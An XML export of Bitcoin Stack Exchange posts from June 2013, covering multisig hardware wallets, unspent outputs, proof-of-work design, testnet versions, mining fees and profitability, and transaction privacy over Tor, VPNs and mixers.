  <row Id="11643" PostTypeId="1" CreationDate="2013-06-14T16:01:23.900" Score="3" ViewCount="173" Body="&lt;p&gt;What I want: A hardware wallet that I don't need to trust.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That wallet will hold one out of three keys in a 2-of-3 multisig scheme. The other two parties will be a paper wallet I create, and a password that I choose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I can store the paper wallet in a safe, and use the hardware wallet + password in my day to day life. If I forget the password, I can recover using hardware + paper. If I lose the wallet, I can recover using paper + password (paper is stored in multiple bank vaults).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;At any point in this process, an evil hardware wallet maker cannot steal my bitcoins.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do any of the hardware wallet projects plan to support such a scheme?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2015-10-09T12:23:03.703" LastActivityDate="2015-10-09T12:23:03.703" Title="Is there a hardware wallet project that plans to add multisig capabilities?" Tags="|wallet|multi-signature|wallet-security|hardware-wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11644" PostTypeId="1" CreationDate="2013-06-14T16:45:54.390" Score="2" ViewCount="13700" Body="&lt;p&gt;Just digging around BitCoin Explorer and I came across a neat transaction. More so, curious, does the second output where it lists &quot;Not yet redeemed&quot; mean that someones BitCoin wallet didn't accept that transaction or something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com/tx/01ccb4aff48836c9ebe93caa83d7090eb2f76fa71275a9d6766cc8f32c82af39&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/tx/01ccb4aff48836c9ebe93caa83d7090eb2f76fa71275a9d6766cc8f32c82af39&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5575" LastEditorUserId="1307" LastEditDate="2013-06-14T22:03:30.770" LastActivityDate="2017-08-29T19:27:45.463" Title="What does &quot;Not yet redeemed&quot; mean in a BlockExplorer transaction output?" Tags="|transactions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11645" PostTypeId="2" ParentId="11642" CreationDate="2013-06-14T17:14:30.437" Score="1" Body="&lt;p&gt;Try to buy at localbitcoins.com if you are comfortable dealing with strangers. May be use escrow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://localbitcoins.com/buy-bitcoins-online/usd/dwolla/&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com/buy-bitcoins-online/usd/dwolla/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="439" LastActivityDate="2013-06-14T17:14:30.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11648" PostTypeId="2" ParentId="11644" CreationDate="2013-06-14T21:59:41.833" Score="6" Body="&lt;p&gt;No, it means that those coins are not yet spent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin transactions work with inputs and outputs. Every transaction can have one or more inputs, and it may then create one or more outputs of which the total amount adds up to the sum of the inputs (minus the transaction fee).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only &lt;a href=&quot;https://en.bitcoin.it/wiki/Coinbase&quot; rel=&quot;noreferrer&quot;&gt;coinbase&lt;/a&gt; transactions do not require inputs. Those are the first transaction in every block that gives the miner of the block his block reward and all the fees from the transactions in the block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you want to spend bitcoins from one of your addresses, you will have to find an &quot;unspent transaction output&quot; for that address, make a transaction with the output and assign new inputs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What this means is that an address does not really have a &lt;em&gt;balance&lt;/em&gt; stored in the block chain. There is just a list of unspent outputs, and those that are bound to some address add up to this address's balance. &lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-06-14T21:59:41.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11649" PostTypeId="1" AcceptedAnswerId="11651" CreationDate="2013-06-14T23:18:51.083" Score="4" ViewCount="1497" Body="&lt;p&gt;I was reading &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/331/is-there-a-way-to-set-up-proof-of-work-systems-so-it-would-be-even-more-useful&quot; title=&quot;this question&quot;&gt;this question&lt;/a&gt; and got myself thinking - why can't a crypto-currency use as proof-of-work a difficult problem that has value outside of the network? I understand the effort to produce all those hashes is not completely &quot;useless&quot;, but still it seems like too much electricity consumption just to secure a crypto-currency - a proof-of-work that could produce a valuable by-product would be much appreciated, I think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I was thinking, what problems could there be if proof-of-work were, say, the factorization of Mersenne or Fermat numbers? Validating a number's factorization is relatively easy, compared to looking for the factors. And a crypto-currency based on it could give an &lt;strong&gt;big&lt;/strong&gt; bonus to finding a Mersenne prime, and a &lt;strong&gt;mega-enormous&lt;/strong&gt; bonus should a miner find a new Fermat prime (assuming there are some more), for these are intrinsically valuable even though validating the discovery would also be incredibly heavy, computationally speaking...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appart from the obvious problem of difficulty being uncontrollable and going always up, (might be solved by allowing less profitable blocks be mined using another proof-of-work), I thought of the case where a country gets disconnected from the rest of the Internet: In current bitcoin this means coins mined there during the disconnection are lost after the country's reconnected, and any merchant accepting those locally-mined coins will lose their money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a system aiming to have a useful by-product as proof of work, &lt;em&gt;all&lt;/em&gt; discovered factorizations should get eventually accepted, even if they were mined in such isolated conditions or were initially included in a blockchain that happened not to be the longest - unless some other miner discovered them independently and included them in a longer blockchain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then I realized this system could mean miners could attempt using this proof in more than one blockchain - I guess this would open the door for some types of fraud. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it also lower difficulty for double spending attacks? What other problems could arise in a system of this type? Are they intrinsically unsolvable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same could be said of using protein-folding, or analyzing SETI@home packages as proof of work...&lt;/p&gt;&#xA;" OwnerUserId="4748" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2016-04-01T09:06:10.390" Title="Intrinsically useful proof-of-work using Mersenne or Fermat numbers factorization. Could it be possible?" Tags="|mining-theory|proof-of-work|mining-technical-details|academic-research|" AnswerCount="2" CommentCount="5" ClosedDate="2013-06-20T11:33:36.937" ContentLicense="CC BY-SA 3.0" />
  <row Id="11651" PostTypeId="2" ParentId="11649" CreationDate="2013-06-15T04:02:30.657" Score="4" Body="&lt;p&gt;How would solving these problems secure the network? Miners are rewarded for the proof of work they do because the specific proof of work they do -- hashing block headers -- in fact secures the system. Solving other problems doesn't secure the currency. If you want to pay people for doing work, you certainly can. But don't at all confuse it with the proof-of-work that crypto-currencies use to solve the double spend problem -- that must be the actual proof-of-work that actually solves the double spend problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point is that the block hashes are tied to a specific block and to specific transactions in that block. The proof of work cannot be severed from the block header and the transactions. Thus the proof of work secures that block header and those transaction. Factorization of Mersenne numbers isn't tied to a specific block or set of transactions, so it does not secure the block chain.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-06-15T04:02:30.657" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11652" PostTypeId="1" CreationDate="2013-06-15T06:33:35.650" Score="1" ViewCount="708" Body="&lt;p&gt;Suppose I was to design a bitcoin client that supports the ability to have multiple wallets (i.e. multiple users).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it safe to assume that each wallet is identified by one private key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a disadvantage (from a privacy/anonymity aspect) to having only one private key per wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any advantages to having more than one private key per wallet? If so, what are they?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was under the impression that a private key can generate many many public keys, that's why I asked the question. Given that a private key will only generate one public key, the question becomes meaningless and it becomes obvious that each account should have lots of private keys (without limit).&lt;/p&gt;&#xA;" OwnerUserId="1795" LastEditorUserId="1795" LastEditDate="2013-06-16T08:30:23.630" LastActivityDate="2013-06-16T08:30:23.630" Title="Are there advantages to having more than one private key per wallet?" Tags="|wallet|client|private-key|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11653" PostTypeId="2" ParentId="11652" CreationDate="2013-06-15T08:59:33.293" Score="1" Body="&lt;p&gt;If you only have one key, you lose your pseudonimity, since you would be using the same key over and over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The correct approach for normal transactions is to use a new key for every incoming transaction, and the client should automatically chose which keys are better to use for outgoing ones.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-06-15T08:59:33.293" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11654" PostTypeId="2" ParentId="11652" CreationDate="2013-06-15T15:07:06.090" Score="2" Body="&lt;p&gt;Well, you don't really want one private key per wallet, you want one private key per transaction (and this is what the default client does anyway).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you may want to have more than one wallet, because otherwise you might be mixing &quot;accounts&quot; that you want to keep separate: If a single transaction output is not enough for a given payment, the default client will use multiple, and that way your otherwise unrelated &quot;accounts&quot; become connected.&lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2013-06-15T15:07:06.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11655" PostTypeId="2" ParentId="11649" CreationDate="2013-06-15T16:37:42.377" Score="4" Body="&lt;p&gt;Only a problem that meets a number of very specific requirements can possibly be used. The work must be much easier to verify than to perform. The work must be inseparable from the block it is attached to. The work must not require a central authority to assign it. And so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont see why such a problem cant also be useful. Say the network was trying to fold proteins. say there are arbitrarily many degrees of complexity for classes of proteins. The network could send out a protein structure that it knew could be folded. The only way to fold is by trial and error, so it is easy to check a solution but difficult to find one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The network would send the protein out to all miners and when one found a solution it could be quickly tested, if it was correct then the bitcoin would be timestamped and a contribution would have been made to science. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As more miners join the network, the network would adjust the difficulty but sending out more complex protein structures, similarly to how it currently just ups the numbers of zeros prepending the output to the hashing function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm not sure if protein folding is a good candidate for a proof of work, because I dont think difficultly could be determined with the accuracy required for the bitcoin network, and it likely also has an upper bound, but in principle I think the idea is sound.&lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="4241" LastEditDate="2013-06-16T03:01:34.910" LastActivityDate="2013-06-16T03:01:34.910" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11656" PostTypeId="1" AcceptedAnswerId="11726" CreationDate="2013-06-15T17:01:48.913" Score="5" ViewCount="570" Body="&lt;p&gt;bitcoinj is a bitcoin library, bitsofproof is a full server (standalone 'exe').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beyond the above - can anyone elaborate on the difference between them? What problems they were designed to solve, their documentation, maturity level?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an overlap between them (in intended usage)?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-06-19T15:57:36.367" Title="What is the difference between bitcoinj and BitsOfProof?" Tags="|bitcoinj|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11658" PostTypeId="1" AcceptedAnswerId="11659" CreationDate="2013-06-15T18:38:51.767" Score="2" ViewCount="329" Body="&lt;p&gt;How can I know which testnet am I on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just ran &lt;code&gt;bitcoind -testnet&lt;/code&gt;, and I would assume it would connect to the most recent one, but is there a way to &lt;em&gt;know&lt;/em&gt; it?&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-11-06T17:03:33.537" Title="Which testnet am I on?" Tags="|bitcoind|testnet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11659" PostTypeId="2" ParentId="11658" CreationDate="2013-06-15T20:11:05.197" Score="4" Body="&lt;ul&gt;&#xA;&lt;li&gt;Bitcoin and bitcoind versions v0.3.14 - v0.3.19 used the first testnet.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin, Bitcoin-Qt and bitcoind versions v0.3.20 - v0.6.1 used the second testnet.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin-Qt and bitcoind version v0.7.0 and above use the third testnet.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-06-15T20:11:05.197" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11660" PostTypeId="1" AcceptedAnswerId="11667" CreationDate="2013-06-16T03:55:35.797" Score="5" ViewCount="1261" Body="&lt;p&gt;Every time I see a calculation of the profitability of mining taking in account your hardware and the number of Hash/s it does and subtracting energy costs and then the probability of finding a share and receiving 25BTC every block and so on... it never accounts for the money given in transaction fees (that will eventually be the only money given to miners when the stock of BTC reaches 21 million).&#xA;I'd like to make a more accurate estimate of how much money for MHash is actually being generated that takes the transaction fees into account. I can't find that info on Block Explorer. Does anyone have an idea of the magnitude of those fees?&lt;/p&gt;&#xA;" OwnerUserId="5590" LastEditorUserId="5406" LastEditDate="2016-01-20T20:26:55.330" LastActivityDate="2016-01-20T20:26:55.330" Title="How much money is being doled out in fees for every block right now?" Tags="|transaction-fees|mining-reward|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11661" PostTypeId="2" ParentId="11656" CreationDate="2013-06-16T06:10:20.620" Score="2" Body="&lt;p&gt;As I understand it, BitsOfProof is an enterprise level implementation of the full bitcoind client, including downloading the full blockchain and supporting a full array of features from the main client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitcoinJ is a java library that supports building a thinner client (downloads headers instead of full block chain) allowing for building bitcoin features into a memory or storage restricted environment. &lt;/p&gt;&#xA;" OwnerUserId="1842" LastActivityDate="2013-06-16T06:10:20.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11662" PostTypeId="2" ParentId="11660" CreationDate="2013-06-16T08:45:46.453" Score="2" Body="&lt;p&gt;Currently the transaction fees are considered negligible compared to the block reward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On &lt;a href=&quot;https://blockchain.info/blocks&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt; you can see blocks as they are mined. The &lt;a href=&quot;https://blockchain.info/block-index/392980/00000000000000daf964b4e0d3a5dcc72344b26b70d711667ad6e21b3147df9d&quot; rel=&quot;nofollow&quot;&gt;last block&lt;/a&gt; until now f.e. has 0.0258 BTC fees for 26 transactions. Blocks with more transactions, like &lt;a href=&quot;https://blockchain.info/block-index/393695/0000000000000057c12be461c89585fc2c838776d9414432fd66c825630c1b9b&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt; f.e., earn 0.1796012 BTC for 211 transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, these are really not much compared to the 25 BTC block reward. But as the block reward halves every 4 years, there will come a time in which transaction fees will matter very much and in which they will be the driving force for miners.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-06-16T08:45:46.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11664" PostTypeId="2" ParentId="11232" CreationDate="2013-06-16T13:21:46.073" Score="1" Body="&lt;p&gt;Use &lt;code&gt;stratum.bitcoin.cz&lt;/code&gt; and port &lt;code&gt;3333&lt;/code&gt; in GUIMiner, &lt;strong&gt;not&lt;/strong&gt; like &lt;a href=&quot;http://stratum.bitcoin.cz:3333&quot; rel=&quot;nofollow&quot;&gt;http://stratum.bitcoin.cz:3333&lt;/a&gt; that was mensioned in another answer.&lt;/p&gt;&#xA;" OwnerUserId="5593" LastEditorUserId="1405" LastEditDate="2014-05-29T15:01:22.723" LastActivityDate="2014-05-29T15:01:22.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11665" PostTypeId="1" CreationDate="2013-06-16T13:28:56.337" Score="2" ViewCount="1126" Body="&lt;p&gt;As the title of the post states, which current Bitcoin mixer has the largest pool of customers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that the larger the customer base of a Bitcoin mixer, the more anonymity the mixer will provide.&lt;/p&gt;&#xA;" OwnerUserId="5556" LastEditorUserId="2995" LastEditDate="2013-06-17T18:21:10.553" LastActivityDate="2013-06-18T21:29:29.843" Title="Which Bitcoin mixer has the largest pool of customers?" Tags="|privacy|" AnswerCount="1" CommentCount="2" ClosedDate="2013-07-02T17:05:04.723" ContentLicense="CC BY-SA 3.0" />
  <row Id="11666" PostTypeId="1" AcceptedAnswerId="11669" CreationDate="2013-06-16T13:40:15.953" Score="7" ViewCount="3773" Body="&lt;p&gt;I bought a VPN subscription using Tor and Bitcoins. The commercial VPN service provider does not know who I am.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below are my questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Could someone tell me whether sending Bitcoins through Tor provides more anonymity than sending them through my VPN service?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it true that sending Bitcoins through Tor is awfully slow?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What are the other advantages of sending Bitcoins via Tor?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5556" LastActivityDate="2019-08-17T08:48:01.487" Title="Sending Bitcoins through Tor versus sending them through VPN" Tags="|privacy|tor|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11667" PostTypeId="2" ParentId="11660" CreationDate="2013-06-16T13:45:24.537" Score="5" Body="&lt;p&gt;There are some &lt;a href=&quot;http://charts.bconomy.com/&quot; rel=&quot;noreferrer&quot;&gt;useful charts&lt;/a&gt; that show information about, amongst other things, fees per block.  Fees per block are currently trending downwards, but that is due to the additional hashing power coming on-line which means that blocks are being mined faster and so the average number of transactions (and hence fees) in an individual block is dropping.  Expect this to balance out sometime soon as the network takes account of the increased hashing power out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, if you assume that transaction fees sit at around 0.25BTC per block you won't go far wrong.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastActivityDate="2013-06-16T13:45:24.537" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11668" PostTypeId="2" ParentId="11666" CreationDate="2013-06-16T15:37:45.017" Score="2" Body="&lt;p&gt;VPNs are not absolutely untraceable like Tor (save in the case of rare targeted attacks and security breaches) so Tor &gt;&gt; VPN always and there's a good explanation for that on torproject.org . That being said, everything you do on Tor is really slow so it really depends on how important you think your anonymity is in regard to this transaction.&lt;/p&gt;&#xA;" OwnerUserId="5590" LastActivityDate="2013-06-16T15:37:45.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11669" PostTypeId="2" ParentId="11666" CreationDate="2013-06-16T15:38:28.840" Score="5" Body="&lt;p&gt;Well, if you are interested being as anonymous as possible, Tor is far more interesting. The VPN provider may not know &lt;em&gt;who you are&lt;/em&gt; but it does know your IP address and the website you are visiting, which is almost the same if it comes in the hands of those you probably want to avoid knowing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Tor on the other hand, node know each other's IP address. As you make a network request with Tor, it will pass through a number of nodes, usually 5 I thought. Of these 5 nodes, only the first one knows your IP address and only the last one can see the request you send. Supposing you use SSL as much as possible, the last node only knows the IP address your request is send to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All intermediate nodes know nothing about you. So you are in fact the most vulnerable for the first node, because he knows your IP address. But he has no clue what website you are visiting, so no single computer in the Tor network will be able to see what &lt;em&gt;you&lt;/em&gt; are doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides, sending a transaction with Tor does not have to be slow. That's just a small packet. You probably mean that syncing with the network and downloading all blocks is slow. Well, there is not much of a point for doing that via Tor. None of your addresses are sent along with block requests, so you can safely sync blocks over VPN or regular internet. The most information the outside world will get to know is that you are downloading Bitcoin data. But using a VPN that accepts Bitcoin, I doubt if they would be eager to share that information with others.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-06-16T15:38:28.840" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11670" PostTypeId="1" CreationDate="2013-06-16T16:54:02.390" Score="1" ViewCount="401" Body="&lt;p&gt;How do I verify ownership of ASICMiner shares through a Bitcoin address given that matches with a signed message I've been sent?&lt;/p&gt;&#xA;" OwnerUserId="5594" LastEditorUserId="1307" LastEditDate="2013-06-16T20:04:00.117" LastActivityDate="2013-07-17T08:16:52.003" Title="How to verify ASICMiner share ownership through Bitcoin address / blockchain.info?" Tags="|blockchain.info|message-signing|asic|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11671" PostTypeId="2" ParentId="8473" CreationDate="2013-06-17T00:21:34.020" Score="1" Body="&lt;p&gt;It divides the block rewards given multiplied by the value of the currency in USD by the difficulty to generate a this same reward on each cryptocurrency.&lt;/p&gt;&#xA;" OwnerUserId="5590" LastActivityDate="2013-06-17T00:21:34.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11672" PostTypeId="1" AcceptedAnswerId="11816" CreationDate="2013-06-17T02:49:29.587" Score="2" ViewCount="26394" Body="&lt;p&gt;I'm getting around 4 shares a minute (mining at 100Mh/s but I don't mind that much because the number of shares is what actually matters, right?) and since LTC/USD is 2 and it pays 50 LTC for every block reward, it should pay 100USD for every 713 shares (diff as I type) so I should be getting like $100 every 3 hours (which is pretty good indication my math is wrong) and that's because diff is just so low!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I do this math for BTC it works just right. Aren't the mechanisms supposed to be very similar?&lt;/p&gt;&#xA;" OwnerUserId="5590" LastEditorUserId="5406" LastEditDate="2016-04-25T15:49:23.670" LastActivityDate="2018-08-27T22:06:06.193" Title="How do I calculate mining profit from shares in Litecoin?" Tags="|litecoin|mining-profitability|hashpower|mining-pool-shares|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="11673" PostTypeId="1" AcceptedAnswerId="11676" CreationDate="2013-06-17T03:19:37.377" Score="2" ViewCount="10083" Body="&lt;p&gt;I installed the wallet from Bitcoin's official website on 4 computers each running Microsoft Windows 7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover on each of the 4 PCs, I installed OpenVPN client, meaning each of the computers access the internet via VPN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose I do not use an online Bitcoin mixer to further anonymize my transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead I transfer my Bitcoins from one computer to another, all the while making sure that the VPN gateway/exit node is located in a different country.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: can my transactions be traced back to me?&lt;/p&gt;&#xA;" OwnerUserId="5556" LastActivityDate="2014-05-14T22:46:47.727" Title="Can my transactions be traced back to me even if I do this?" Tags="|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11674" PostTypeId="2" ParentId="8090" CreationDate="2013-06-17T05:32:44.293" Score="-1" Body="&lt;p&gt;I would try running SCRYPT based miners. I have 3 poweredge servers to set up and thats my take for now.&lt;/p&gt;&#xA;" OwnerUserId="5599" LastActivityDate="2013-06-17T05:32:44.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11675" PostTypeId="2" ParentId="11670" CreationDate="2013-06-17T07:53:45.573" Score="1" Body="&lt;p&gt;Go to &lt;a href=&quot;https://blockchain.info/address/16fuoinLFjBmiCYmCYDXPNfERJtdPB5ASe&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/16fuoinLFjBmiCYmCYDXPNfERJtdPB5ASe&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check if the same address as he has signed the message with is on that page. This will only tell you that he had the shares the moment the dividend was paid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can ask friedcat on bitcointalk.org to confirm the ownership of shares.&lt;/p&gt;&#xA;" OwnerUserId="3185" LastActivityDate="2013-06-17T07:53:45.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11676" PostTypeId="2" ParentId="11673" CreationDate="2013-06-17T07:58:49.417" Score="2" Body="&lt;p&gt;Well, that depends. First, never reuse addresses if you are doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, if you are not mixing, the transactions will, with no exception, be traceable. Would there be someone focused on you, he would see the bitcoins move around, and so most probably think they are spent. But if he is really interested in you, he will probably keep track of the coins and whenever you really spend one of them, he will probably notice and try to track the owner of that address to see what you did with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He will probably only stop keeping track of those coins if he sees them being spent by someone that cannot be you, or if he cannot track them anymore as they are split up and combined with many other coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You must be quite paranoid considering your few questions here. I can maybe advise you to buy bitcoins for cash like via localbitcoins.com. Apart from the guy you trade with, no one will know you bought coins.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-06-17T07:58:49.417" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="11677" PostTypeId="1" AcceptedAnswerId="11679" CreationDate="2013-06-17T08:24:14.553" Score="3" ViewCount="2175" Body="&lt;p&gt;I have searched this forum and the internet for information on the location of the private keys of my wallet on my PC and found no answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Microsoft Windows 7 and installed the Bitcoin software from &lt;a href=&quot;http://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.org/en/download&lt;/a&gt; (At the moment it is version 0.8.2)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default installation path is C:\Users\username\AppData\Roaming\Bitcoin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the default installation Bitcoin folder/directory, I can only see the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blocks sub-directory&#xA;chainstate sub-directory&#xA;.lock&#xA;db.log&#xA;debug.log&#xA;peers.dat&#xA;wallet.dat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where are the private keys?&lt;/p&gt;&#xA;" OwnerUserId="5556" LastEditorUserId="132" LastEditDate="2013-07-20T18:11:45.390" LastActivityDate="2013-07-20T18:11:45.390" Title="Where is the location of the private keys of my wallet on my PC?" Tags="|bitcoin-core|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11678" PostTypeId="1" AcceptedAnswerId="11684" CreationDate="2013-06-17T09:29:31.723" Score="0" ViewCount="329" Body="&lt;p&gt;Suppose a friend wishes to send some Bitcoins to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of anonymity, which of the following would be preferable?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Have the Bitcoins sent to an eWallet/mixer first and then I withdraw them to my Wallet on my PC; or&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Have the Bitcoins sent to my Wallet on my PC first. As and when I need to spend them, I will send a portion of them to the eWallet/mixer from where it will be spent.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5556" LastActivityDate="2016-03-06T16:19:20.123" Title="Which method is preferable: sender to send Bitcoins to eWallet/mixer first or to wallet on the PC?" Tags="|privacy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11679" PostTypeId="2" ParentId="11677" CreationDate="2013-06-17T10:25:20.630" Score="4" Body="&lt;p&gt;They're in the wallet.dat file.&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2013-06-17T10:25:20.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11680" PostTypeId="2" ParentId="11672" CreationDate="2013-06-17T12:28:57.227" Score="0" Body="&lt;p&gt;Scrypt algorith is much harder: if you get 100Mh/s for Bitcoin, you will get about 100Kh/s for Litecoin — about 0.1 LTC per day.&lt;/p&gt;&#xA;" OwnerUserId="5602" LastEditorUserId="196" LastEditDate="2013-06-17T14:24:54.537" LastActivityDate="2013-06-17T14:24:54.537" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11681" PostTypeId="1" AcceptedAnswerId="11683" CreationDate="2013-06-17T14:23:16.627" Score="3" ViewCount="1439" Body="&lt;p&gt;Like I would do &lt;code&gt;wget -O - http://blockchain.info/q/getblockcount 2&amp;gt;/dev/null&lt;/code&gt; for the main net.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2016-06-27T07:18:08.830" Title="How do I get testnet block height?" Tags="|blockchain|testnet|height|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
